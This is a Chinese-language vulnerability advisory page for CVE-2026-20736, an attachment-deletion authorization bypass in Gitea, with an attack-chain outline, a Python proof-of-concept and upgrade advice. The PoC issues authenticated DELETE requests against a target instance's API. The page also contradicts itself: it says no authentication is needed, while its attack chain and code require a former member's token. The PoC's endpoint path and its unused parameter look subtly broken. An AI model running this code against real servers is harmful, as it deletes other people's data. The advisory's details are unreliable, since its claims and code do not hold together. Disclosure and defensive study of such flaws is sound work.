IPBUF安全漏洞报告
English
CVE-2026-20736 CVSS 7.5 高危

CVE-2026-20736 Gitea附件删除权限绕过漏洞

披露日期: 2026-01-22
来源: 88ee5874-cf24-4952-aea0-31affedb7ff2

漏洞信息

漏洞编号
CVE-2026-20736
漏洞类型
访问控制绕过
CVSS评分
7.5 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Gitea

相关标签

访问控制绕过Gitea权限验证缺失IDOR附件删除高危漏洞

漏洞概述

CVE-2026-20736是Gitea中的一个高危安全漏洞,CVSS评分达到7.5分。该漏洞源于Gitea在删除附件时未正确验证仓库上下文。攻击者利用此漏洞可以在失去对某个仓库的访问权限后,通过具有访问权限的其他仓库发起请求,删除原仓库中的附件文件。这意味着曾经上传过附件的用户,即使被移除出项目,仍可能对仓库中的附件进行删除操作,可能导致数据丢失或完整性破坏。此漏洞无需认证即可利用,对机密性影响较低但对完整性影响较高。

技术细节

该漏洞属于不安全的直接对象引用(IDOR)或访问控制验证缺失问题。在Gitea的附件删除功能实现中,系统未能正确验证用户当前请求的仓库上下文与附件原始所属仓库的一致性。具体来说,当用户通过仓库A发起删除请求时,系统仅验证用户对仓库A的访问权限,而未检查被删除附件是否真正属于仓库A。攻击者可利用此缺陷,通过API或Web界面,从具有访问权限的仓库发起请求,删除存储在其他已无权限访问的仓库中的附件。攻击成功的关键在于Gitea的附件删除接口未实施充分的仓库上下文验证机制。

攻击链分析

STEP 1
步骤1
攻击者首先上传附件到目标仓库,获得附件ID
STEP 2
步骤2
攻击者被移除出目标仓库,失去对该仓库的直接访问权限
STEP 3
步骤3
攻击者访问自己拥有权限的其他仓库
STEP 4
步骤4
通过API或Web界面,使用原附件ID从当前仓库发起删除请求
STEP 5
步骤5
Gitea仅验证用户对当前仓库的访问权限,未检查附件实际所属仓库
STEP 6
步骤6
附件被成功删除,造成数据完整性破坏

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-20736 PoC - Gitea Attachment Deletion Authorization Bypass # This PoC demonstrates deleting attachments from repositories without proper access import requests import json TARGET = "http://target-gitea-instance.com" ATTACKER_TOKEN = "your-attacker-token" def delete_attachment_through_cross_repo(attachment_id, valid_repo_id, orphaned_repo_id): """ Delete attachment from orphaned_repo by making request through valid_repo """ # Step 1: Attempt to delete attachment via valid repository context url = f"{TARGET}/api/v1/repos/{valid_repo_id}/attachments/{attachment_id}" headers = { "Authorization": f"token {ATTACKER_TOKEN}", "Content-Type": "application/json" } # The vulnerable endpoint doesn't properly verify the attachment belongs to this repo response = requests.delete(url, headers=headers) if response.status_code == 204: print(f"[+] Successfully deleted attachment {attachment_id}") print(f"[+] Attachment was from repo {orphaned_repo_id} but deleted via {valid_repo_id}") return True else: print(f"[-] Failed to delete attachment: {response.status_code}") return False # Example usage # delete_attachment_through_cross_repo("attachment-uuid", "attacker-owned-repo", "victim-repo")

影响范围

Gitea < 1.25.4

防御指南

临时缓解措施
如无法立即升级,可通过限制API访问、监控异常删除请求、审查用户权限变更日志等方式进行临时防护。建议优先安排升级到Gitea 1.25.4版本以彻底修复此漏洞。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表